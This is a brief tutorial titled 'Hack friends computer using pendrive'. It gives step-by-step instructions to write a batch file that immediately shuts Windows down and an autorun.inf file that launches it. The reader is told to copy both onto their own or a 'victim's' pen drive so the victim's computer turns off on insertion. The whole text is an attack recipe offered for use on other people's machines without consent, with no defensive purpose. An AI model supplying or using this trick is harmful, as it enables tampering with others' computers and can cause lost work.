Hack friends computer using pendrive

Step 1:>>copy this  code into notepad: 

@echo off
shutdown -s -t 00
Save as besthacking.bat extension (for eg: besthacking.bat). 

Step 2:
      Now open the notepad and copy this code: 

[autorun]
Open=besthacking.bat
Action=Mouse Disable

   Save it as "autorun.inf" 


Step 3:
         Then copy the two files in your pen drive or victim's pen drive. 
That's all whenever the victim insert his pen drive,the system will be turned off automatically.